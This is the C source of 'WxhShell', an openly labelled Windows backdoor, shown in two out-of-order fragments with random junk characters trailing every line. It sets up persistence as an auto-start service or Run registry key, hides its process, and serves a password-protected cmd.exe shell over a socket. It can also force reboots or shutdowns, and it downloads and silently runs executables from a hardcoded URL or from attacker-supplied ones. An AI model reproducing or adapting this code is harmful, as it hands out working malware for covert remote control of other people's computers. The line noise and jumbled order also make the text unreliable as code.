    if(Boot(SHUTDOWN)) @G>Q(a*,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !TdbD56  
    else { *mj3  T  
    closesocket(wsh); N13wVx  
    ExitThread(0); v`KYhqTUl  
    } \>GHc}  
    break; p7d[)* L>C  
    } *^ -~J/  
  // 获取shell v6_fF5N/  
  case 's': { 9)]asY  
    CmdShell(wsh); ~xP4}gs1  
    closesocket(wsh); fp2.2 @[  
    ExitThread(0); I2<t?c:Pn<  
    break; 0!!z'm3  
  } f<aJiVP  
  // 退出 ^SH8*7l7  
  case 'x': { Dwp-*QK^G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O!#bM< *  
    CloseIt(wsh); BD (  
    break; @ wJ|vW_.  
    } j_2yTz"G-  
  // 离开 zd+<1R;  
  case 'q': { | ?])]F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CHX- 4-84{  
    closesocket(wsh); 982n G-"  
    WSACleanup(); a jyuk@  
    exit(1); TbPTgE *  
    break; tHV81F1J  
        } b63tjqk  
  } 5t&;>-A'?'  
  } Rr/sxR|0_  
Fj~,>   
  // 提示信息  W .t`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^u[n!R\  
} PQFr4EY?i  
  } DU>#eR0G  
iw ==q:$  
  return; 8LM 91  
} %RF9R"t$  
{[%kn rRJ  
// shell模块句柄 r.T!R6v}  
int CmdShell(SOCKET sock) hs  m%o\  
{ C:WXI;*cr  
STARTUPINFO si; _R?:?{r,  
ZeroMemory(&si,sizeof(si)); ic_q<Y}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LmQS;/:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Sx", Zb  
PROCESS_INFORMATION ProcessInfo; 20XN5dTFT  
char cmdline[]="cmd"; Z_qOQ%l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }b5If7  
  return 0; OLS.0UEc  
} [Q5>4WY  
tEXY>=  
// 自身启动模式 "}(g3Iy  
int StartFromService(void) $ 3/G)/A  
{ `/0S]?a.{B  
typedef struct  ;Iu}Q-b*  
{ ,J3s1 ]~^  
  DWORD ExitStatus; <.yL&$9  
  DWORD PebBaseAddress; yRt>7'@X  
  DWORD AffinityMask; %3r`EIB6  
  DWORD BasePriority; nr t3wqJ  
  ULONG UniqueProcessId; r(#]Z   
  ULONG InheritedFromUniqueProcessId; 9+o`/lk1  
}   PROCESS_BASIC_INFORMATION; mDT"%I"4j  
<:rbK9MIl  
PROCNTQSIP NtQueryInformationProcess; !b0ANIp  
U)n+j}vi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O*8 .kqlgt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `Z 3p( G  
A*r6  
  HANDLE             hProcess; L\u6EMyV  
  PROCESS_BASIC_INFORMATION pbi; T3W?-,  
Jbrjt/OG#I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \<bar ~  
  if(NULL == hInst ) return 0; cn~M: LW23  
)_\ZUem  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6ofi8( n[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tXgsWG?v[H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3{wmKo|_X  
XsVp7zk\  
  if (!NtQueryInformationProcess) return 0; y)B>g/Hoh  
*)6:yn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O~1vX9  
  if(!hProcess) return 0; ).BZPyV<  
~$O.KF:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #:y h2y7a%  
AP8YY8,  
  CloseHandle(hProcess); X4"D Lt"  
sr+Y"R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4*K~6Vh  
if(hProcess==NULL) return 0; 5w# Ceg9  
2tq~NA\#t  
HMODULE hMod; Kn !n}GtR  
char procName[255]; 8 )W{&#C>  
unsigned long cbNeeded; ?%RN? O(  
VX!UT=;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NR* s7>  
.D~ZE94@  
  CloseHandle(hProcess); U{+<c [  
/i${[1  
if(strstr(procName,"services")) return 1; // 以服务启动 p%8v+9+h2  
h*2NFL~#  
  return 0; // 注册表启动 -f+U:/'.>v  
} ,'KQFC   
<u 'q._m  
// 主模块 _h=kjc}[.O  
int StartWxhshell(LPSTR lpCmdLine) M+mO4q6  
{ d'4^c,d  
  SOCKET wsl; ^"g # !  
BOOL val=TRUE; ]W-7 U_  
  int port=0; :j}]nS  
  struct sockaddr_in door; )9.i'{{ 0  
-jv%BJJlX  
  if(wscfg.ws_autoins) Install(); +EtL+Y (U  
0gs0[@  
port=atoi(lpCmdLine); Q/y^ff]=  
v7i5R !  
if(port<=0) port=wscfg.ws_port; B-@ ]+W  
1Rrl59}5  
  WSADATA data; 4!%TY4 bJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >8pmClVvmR  
$<y10DfO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zPC&p{S>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :KJG3j?   
  door.sin_family = AF_INET; f^tCD'Vmi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IwE{Zvr  
  door.sin_port = htons(port); <0Mc\wy  
0nh;0Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UJqDZIvC  
closesocket(wsl); vbDSNm#Yv  
return 1; +, SUJ|  
} 9vAY|b^  
@ 435K'!  
  if(listen(wsl,2) == INVALID_SOCKET) { 4! Cu>8B  
closesocket(wsl); L=7 U#Q/DE  
return 1; VI}.MnCa  
} Ux<2!vh  
  Wxhshell(wsl); tAPr4n!  
  WSACleanup(); (&=<UGY(w  
_;;'/rs j  
return 0; ?f\;z<e|  
Slk__eC  
} O[N}@%HMW  
Lq&;`)BJ  
// 以NT服务方式启动 `W3;LTPEb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S690Y]:h$v  
{ K%XQdMv  
DWORD   status = 0; "kE$2Kg  
  DWORD   specificError = 0xfffffff; 3Ishe"  
+}XFkH~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ddf7wszW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [a\U8 w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .=j]PckJO  
  serviceStatus.dwWin32ExitCode     = 0; y%y F34  
  serviceStatus.dwServiceSpecificExitCode = 0; JAjXhk<=  
  serviceStatus.dwCheckPoint       = 0; !N`$`qAK  
  serviceStatus.dwWaitHint       = 0; G lz0`z  
{HJzhIgCf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (1 L9K;  
  if (hServiceStatusHandle==0) return; nX@lR~g%F  
'Xl_,; W]  
status = GetLastError(); _1s\ztDpw  
  if (status!=NO_ERROR) %Fh*$gzh*5  
{ Y7|R vLWoP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  h :[8$]  
    serviceStatus.dwCheckPoint       = 0; v4?qI >/  
    serviceStatus.dwWaitHint       = 0; "kLu]M<  
    serviceStatus.dwWin32ExitCode     = status; '|zkRdB*Lq  
    serviceStatus.dwServiceSpecificExitCode = specificError; 's.cwB: #  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7X Z5CX&  
    return; $\W|{u`  
  }  #E[{  
6D[m}/?Uy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u afSz@`  
  serviceStatus.dwCheckPoint       = 0; ICJp-  
  serviceStatus.dwWaitHint       = 0; Ez3>}E,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L(p{>Ykcc  
} H`js1b1n  
IfGmA.O  
// 处理NT服务事件,比如:启动、停止 6#,VnS)`q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4CzT<cp  
{ E3pnu.;U:_  
switch(fdwControl) mfYY?]A*+  
{ )1PZ#  
case SERVICE_CONTROL_STOP: X3C"A|HE9  
  serviceStatus.dwWin32ExitCode = 0; XHX\+&6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .{cka]9WJz  
  serviceStatus.dwCheckPoint   = 0; u?OyvvpH  
  serviceStatus.dwWaitHint     = 0; B.wRZDEvc  
  { _QD##`<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YLr<^G-v  
  } aV^wTs#2I  
  return; 8Z=d+}Gg<  
case SERVICE_CONTROL_PAUSE: //SH=>w2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x@-bY  
  break; aoLYw 9  
case SERVICE_CONTROL_CONTINUE: XZ@;Tyn0,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lJ+05\pE  
  break; P/BWFN1  
case SERVICE_CONTROL_INTERROGATE: e<Hbm  
  break; ;.=ZwM]C  
}; O!0YlIvWv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3?Ml]=u  
} =hs !t|(*  
mSn>  
// 标准应用程序主函数 24ojjxz+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nqG9$!k^t  
{ C'HW`rh.^  
C%s+o0b  
// 获取操作系统版本 uF xrv  
OsIsNt=GetOsVer(); :Hk:Goo2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .'zXO  
>s@*S9cj:  
  // 从命令行安装 pEc|h*p8  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8PWx>}XPt  
=")}wl=s  
  // 下载执行文件 ]K]$FX<f  
if(wscfg.ws_downexe) { 2v ^bd^]u:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EhEUkZE3 )  
  WinExec(wscfg.ws_filenam,SW_HIDE); &<!DNXQ  
} <,U=w[cH  
9y BENvq  
if(!OsIsNt) { 6m#V=4e*  
// 如果时win9x,隐藏进程并且设置为注册表启动 RUJkfi=$  
HideProc(); /Iwnl   
StartWxhshell(lpCmdLine); ()< E?D=  
} RC_w 1:h  
else OYw~I.Rq  
  if(StartFromService()) 4!'1o`8vs  
  // 以服务方式启动 c7$L:  
  StartServiceCtrlDispatcher(DispatchTable); )7U^&I,  
else sSisO?F!Z  
  // 普通方式启动 e:SBX/\j  
  StartWxhshell(lpCmdLine); q[6tvPfkX  
H%,jB<-.A  
return 0; w2-:!,X  
} <ptgFR+  
m/,.3v  
@ ;%+Ms  
Eei"baw/  
=========================================== sFqLxSo_I  
cC{eu[ XW  
Ls8@@b,t2  
)ZxDfRjL  
Xb0$BAP  
72hN%l   
" d|GQZAEJEt  
(w31W[V'#  
#include <stdio.h> Gp0H[-oF  
#include <string.h> bRSE"B  
#include <windows.h> mWOW39Ku  
#include <winsock2.h>  %2 A-u  
#include <winsvc.h> M2K{{pGJ[&  
#include <urlmon.h> E5a1 7ra  
`6`p~  
#pragma comment (lib, "Ws2_32.lib") v-zi ,]W  
#pragma comment (lib, "urlmon.lib") 6#A g^A  
mR3)$!  
#define MAX_USER   100 // 最大客户端连接数 wul$lJ?tE  
#define BUF_SOCK   200 // sock buffer w! J|KM  
#define KEY_BUFF   255 // 输入 buffer ET]PF,`  
6OBe^/ZRt  
#define REBOOT     0   // 重启 d~i WV6Va  
#define SHUTDOWN   1   // 关机 ?gknJ:  
?xftr(  
#define DEF_PORT   5000 // 监听端口 EV1x"}D A_  
81m3j`b  
#define REG_LEN     16   // 注册表键长度 Y7W xV>E  
#define SVC_LEN     80   // NT服务名长度 ]Gk;n/! B  
NSQ}:m  
// 从dll定义API \Wdl1 =`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iD*%' #u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7Hghn"ol  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "gm[q."n<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~0}gRpMW  
i!H)@4jX  
// wxhshell配置信息 &|/@;EA$8  
struct WSCFG { 4o+SSS  
  int ws_port;         // 监听端口 1J`<'{*  
  char ws_passstr[REG_LEN]; // 口令 #6t 4 vJ1  
  int ws_autoins;       // 安装标记, 1=yes 0=no "r!>p\.0O  
  char ws_regname[REG_LEN]; // 注册表键名 IM.sW'E  
  char ws_svcname[REG_LEN]; // 服务名 nkI+"$Rz0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _n6ge*,E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8Ld`$_E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j -l#n&M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #xUX1(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ``;.Oy6jS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ChvSUaCS  
Ban@$uf  
}; yyp0GV.x  
?vmu,y  
// default Wxhshell configuration L<t>o":o  
struct WSCFG wscfg={DEF_PORT, 06ndW9>wD)  
    "xuhuanlingzhe", eUBf-xA  
    1, 5yOIwzr&Uu  
    "Wxhshell", lk.]!K$}  
    "Wxhshell", #&V7CYJ  
            "WxhShell Service", [HRry2#s  
    "Wrsky Windows CmdShell Service", iA~LH6  
    "Please Input Your Password: ", D4@).%  
  1, r6.`9  
  "http://www.wrsky.com/wxhshell.exe",  H7`JqS  
  "Wxhshell.exe" 3,ihVVr&P  
    }; l#%qF Db  
\9HpbCHr  
// 消息定义模块 :G.u{cw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @nC][gNv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b 7XTOB_HO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;jgk53lo  
char *msg_ws_ext="\n\rExit."; _Y{8FN(4  
char *msg_ws_end="\n\rQuit."; Hw0S/ytY  
char *msg_ws_boot="\n\rReboot..."; M~rN17S  
char *msg_ws_poff="\n\rShutdown..."; 4*AkUkP:T  
char *msg_ws_down="\n\rSave to "; NO)Hi)$X6Y  
6o5NeKZ  
char *msg_ws_err="\n\rErr!"; +9^V9]{Vo  
char *msg_ws_ok="\n\rOK!"; Vy.gr4Cm  
EZ,Tc ;f=  
char ExeFile[MAX_PATH]; 'CQ~ZV5  
int nUser = 0; iXoEdt)  
HANDLE handles[MAX_USER]; yH=Hrz:<eM  
int OsIsNt; q8m{zSr  
WGmXq.  
SERVICE_STATUS       serviceStatus; (vR9vOpJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r\PO?1  
ZVelKI8>  
// 函数声明 ABx< Ep6  
int Install(void); lfJvN  
int Uninstall(void); c -sc*.&  
int DownloadFile(char *sURL, SOCKET wsh); 8+* 1s7{  
int Boot(int flag); v}cTS@0  
void HideProc(void); _p^?_  
int GetOsVer(void); >(?}'pS8  
int Wxhshell(SOCKET wsl); !W\za0p  
void TalkWithClient(void *cs); V=i/cI\  
int CmdShell(SOCKET sock); D`Cy]j  
int StartFromService(void); GhJ<L3  
int StartWxhshell(LPSTR lpCmdLine); Y>J$OA:  
q1a*6*YB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T`zUgZ]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x/S:)z%X  
<r>1W~bp.q  
// 数据结构和表定义 \CU-a`n  
SERVICE_TABLE_ENTRY DispatchTable[] = rSgOQ  
{ N*1{yl76x  
{wscfg.ws_svcname, NTServiceMain}, &Z3u(Eb  
{NULL, NULL} =x xN3Ay  
}; MdC}!&W  
;aj4V<@  
// 自我安装 +=Y[RCXT  
int Install(void) l cX'n8/3  
{ Qi=pP/Y  
  char svExeFile[MAX_PATH]; !g.?+~@  
  HKEY key; K^5f  
  strcpy(svExeFile,ExeFile); }R9>1u}6  
e0"80"D  
// 如果是win9x系统,修改注册表设为自启动 ]lqe,>  
if(!OsIsNt) { (v,g=BS,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;hgRMkmz4<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c]/X >8;  
  RegCloseKey(key); B*@0l:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S4Q fx6:~h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  "d; T1  
  RegCloseKey(key); 9Ai 3p  
  return 0; CcJ%; .V,T  
    } I3.cy i  
  } Op_(10|  
} 3/{,}F$  
else { j5:/Gl8  
4=nh' U38  
// 如果是NT以上系统,安装为系统服务 >ufLRGL>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V[;^{,;  
if (schSCManager!=0) u|+Dqe`  
{ #rI4\K  
  SC_HANDLE schService = CreateService ==Ah& ){4^  
  ( t" $#KP<  
  schSCManager, ysH'X95  
  wscfg.ws_svcname, MqAN~<l [  
  wscfg.ws_svcdisp, 'PvOOhm,  
  SERVICE_ALL_ACCESS, pwg\b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8b[<:{[YB  
  SERVICE_AUTO_START, adn2&7H  
  SERVICE_ERROR_NORMAL, `'E(L&  
  svExeFile, fzJ^`  
  NULL, 0: Nw8J  
  NULL, @@z5v bs'{  
  NULL, >c@jl  
  NULL, Tr.u'b(  
  NULL mhgvN-? "h  
  ); WB.w3w [f  
  if (schService!=0) ce<88dL  
  { s$Vz1B  
  CloseServiceHandle(schService); ZA7b;{o [  
  CloseServiceHandle(schSCManager); W_L;^5Y;m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y`*h#{|  
  strcat(svExeFile,wscfg.ws_svcname); {nj`>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <u}[_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S[e> 8  
  RegCloseKey(key); zi_0*znw  
  return 0; P r2WF~NuO  
    } Ou]!@s  
  } Q"s]<MtdS  
  CloseServiceHandle(schSCManager); Y#zHw< <E  
} RZ0+Uu/J  
} YS bS.tq  
A~ @x8  
return 1; pG^>y0  
} uC|bC#;  
`hDH7u!U.  
// 自我卸载 7n[0)XR>  
int Uninstall(void) \gGTkH  
{ 97pfMk1_  
  HKEY key; zwJ\F '  
!PfdY&.)  
if(!OsIsNt) { ";Q}Gs}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 48)D%867.;  
  RegDeleteValue(key,wscfg.ws_regname); 629ogJo8  
  RegCloseKey(key); *&~(>gNF,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k!V@Q!>,  
  RegDeleteValue(key,wscfg.ws_regname); 07G'"=  
  RegCloseKey(key); kA/yL]m^S  
  return 0; -#Jp@6'k%  
  } -VvN1G6.x?  
} PU-L,]K  
} 1Q7]1fRu  
else { zym6b@+jN  
pB0 SCS*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~?Zm3zOCc2  
if (schSCManager!=0) ~Kt2g\BSok  
{ 6J <.i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UHS "{%  
  if (schService!=0) A$n:   
  { )T@?.J`  
  if(DeleteService(schService)!=0) { 0lU pil  
  CloseServiceHandle(schService); 8M,$|\U  
  CloseServiceHandle(schSCManager); _q}^#-  
  return 0; L|p+;ex  
  } T~ P<Gq} ,  
  CloseServiceHandle(schService); i.gagb  
  } ^;[^L=}8$  
  CloseServiceHandle(schSCManager); ]] T,;|B  
} Zd]ua_)I%[  
} WO*dO9O  
 Q!(qb  
return 1; M4e8PRlI  
} n2Y a'YF  
L-Mf{z  
// 从指定url下载文件 eC@b-q   
int DownloadFile(char *sURL, SOCKET wsh) h7PIF*7m e  
{ ~&D5RfK5f  
  HRESULT hr; 5Vr#>W  
char seps[]= "/"; mOJ-M@ME  
char *token; \"9ysePI  
char *file; nnTiu,2R  
char myURL[MAX_PATH]; SP4(yJy&  
char myFILE[MAX_PATH]; _$yS4=.  
$U'*}S  
strcpy(myURL,sURL); rxOv YF  
  token=strtok(myURL,seps); @=K*gbq5  
  while(token!=NULL) zor  
  { ~BgNM O;|  
    file=token; +*G<xW :M  
  token=strtok(NULL,seps); 2^)_XVX1  
  } ]Aj5 K  
"Mh}n-oju  
GetCurrentDirectory(MAX_PATH,myFILE); S~B{G T\M  
strcat(myFILE, "\\"); #<vzQ\~Y  
strcat(myFILE, file); =<Ss&p>  
  send(wsh,myFILE,strlen(myFILE),0); q& esI  
send(wsh,"...",3,0); R#Z m[S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A`V:r2hnb  
  if(hr==S_OK) 5>-~!Mg1  
return 0;  dK]#..  
else (R!`Z%  
return 1; H<   
rEj Ez+wu  
} =/ 19 -Y:  
0+k=gO  
// 系统电源模块 vAtR\ Vh  
int Boot(int flag) =- !B4G$  
{ *rC%nmJwk!  
  HANDLE hToken; <<&SyP  
  TOKEN_PRIVILEGES tkp; hmI> 7@&  
pEY zB;  
  if(OsIsNt) { Fyc":{Jd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @1V?94T1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BLb'7`t  
    tkp.PrivilegeCount = 1; Lt {&v ^y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; US&:UzI.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]T%wRd5&-  
if(flag==REBOOT) { NYPjN9L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bK|nxL  
  return 0; $Q`\-  
} XXb,*u 3  
else { T/q*k)IoR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tw<}7l_>Au  
  return 0; D"P<;@ef  
} 9)'wgI#  
  } V# JuNJ  
  else { 1Ch0O__2L  
if(flag==REBOOT) { 7/bF0 4~%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ki]i[cdk  
  return 0; YGZa##i  
} hlHle\[ds  
else { dDqT#N?Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XpdjWLO]C<  
  return 0; gO bP  
} Cp#}x1{  
} qO>A 6  
8%;]]{(B  
return 1; K# h7{RE  
} d4LH`@SUZ-  
_+qtH< F/  
// win9x进程隐藏模块 1pTQMf a  
void HideProc(void) 5- "aK~@+  
{ 0fx.n  
V4|l7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); La si)e=$<  
  if ( hKernel != NULL ) ,sn 9&E  
  { K}Lu1:~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %Pk@`t(3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l8d }g  
    FreeLibrary(hKernel); O2Tna<cR&  
  } &DWSu`z  
CPu~^ik  
return; ^ ]SU (kY  
} um$L;-2:  
D=~3N  
// 获取操作系统版本 Ce_l\J8G  
int GetOsVer(void)  -to3I  
{ @BqSu|'Du,  
  OSVERSIONINFO winfo; g;!,2,De}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qZX\riR  
  GetVersionEx(&winfo); d'b q#r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ljjnqQ%  
  return 1; LS4E.Xdn  
  else Bk~%  
  return 0; ]ru UX  
} # |,c3$  
]}BT'fky#  
// 客户端句柄模块 pv,I_"  
int Wxhshell(SOCKET wsl) r#WAS2.TP  
{ 79>_aD9  
  SOCKET wsh; $(;0;!t.  
  struct sockaddr_in client; `6y\.6j  
  DWORD myID; m/NXifi8l  
8\CmM\R  
  while(nUser<MAX_USER) mjbV^^>  
{ q@Sj$  
  int nSize=sizeof(client); <84d Vg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n; *W#c  
  if(wsh==INVALID_SOCKET) return 1; 4$8\IJ7G  
};]f 3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nh%Q";  
if(handles[nUser]==0) ph=U<D4  
  closesocket(wsh); >y iE}  
else \FjY;rqfKe  
  nUser++; *]* D^'  
  } W&Kjh|[1QZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IP l]$j>N  
- x]gp5  
  return 0; lcEin*Oc  
} = j S  
k^r-~q+NV#  
// 关闭 socket /&G )IY]g  
void CloseIt(SOCKET wsh) D^\2a;[AxA  
{ ~[4zm$R^  
closesocket(wsh); K!_''Fg  
nUser--; y,=TB#  
ExitThread(0); nN!R!tJPa  
} jd?NN:7  
-XARew  
// 客户端请求句柄 ~3s\Q%   
void TalkWithClient(void *cs) K^+}__;]  
{ qn|~z@"  
gPg2Ve0Qy  
  SOCKET wsh=(SOCKET)cs; Z|qUVD5Ic  
  char pwd[SVC_LEN]; 2K$#U|Qi  
  char cmd[KEY_BUFF]; 7.tEi}O&_g  
char chr[1]; uQtwh08i  
int i,j; xl;0&/7e  
h5.AM?*TNd  
  while (nUser < MAX_USER) { sn?YD'>k  
YR}By;Bq  
if(wscfg.ws_passstr) { u3@v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _=;ltO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'or8CGr^p  
  //ZeroMemory(pwd,KEY_BUFF); x$Tf IFy  
      i=0; 61{IXx_  
  while(i<SVC_LEN) { SHT^Etri  
h`b[c.%  
  // 设置超时 2rJeON  
  fd_set FdRead; rE&+fSBD  
  struct timeval TimeOut; t`y*oRy  
  FD_ZERO(&FdRead); H{nYZOf/  
  FD_SET(wsh,&FdRead); "/}cV5=Z  
  TimeOut.tv_sec=8; S2*ER  
  TimeOut.tv_usec=0;  _F9O4Q4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hCKx%&[^7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }MV=I$S2U  
[.`%]Z(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K JX@?1"  
  pwd=chr[0]; njN]0l{p  
  if(chr[0]==0xd || chr[0]==0xa) { 8Q Nd t  
  pwd=0; Y94/tjt  
  break; b&1-tYV  
  } "~HV!(dRMC  
  i++; 4%L-3Ij  
    } s.7s:Q`  
a4L0Itrp  
  // 如果是非法用户,关闭 socket 81<0B @E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1_z6O!rx  
} ^#A[cY2eM  
eX@7f!uz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @ dF]X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ko%B`  
0{ ;[k  
while(1) { p/f!\  
Y?>us  
  ZeroMemory(cmd,KEY_BUFF); 11Hf)]M   
'o*:~n  
      // 自动支持客户端 telnet标准   [Ifhh2  
  j=0; q T pvz  
  while(j<KEY_BUFF) { _%$(D"^j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;dh8|ujh  
  cmd[j]=chr[0]; >.-$?2  
  if(chr[0]==0xa || chr[0]==0xd) { ,LHQ@/}A C  
  cmd[j]=0; 6Q6l?!|W4  
  break; Iu -CXc  
  } ]$vJK  
  j++; qJ|n73yn  
    } J '^xDIZX  
Kx;DmwX-  
  // 下载文件 X}5aE4K/  
  if(strstr(cmd,"http://")) { 'C9H6)Zq)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C;jV{sb9c  
  if(DownloadFile(cmd,wsh)) l?/.uNw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p~sfd  
  else ~BVK6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L#`9# Q  
  } L8~nx}UP5  
  else { 0KF)+`CC>  
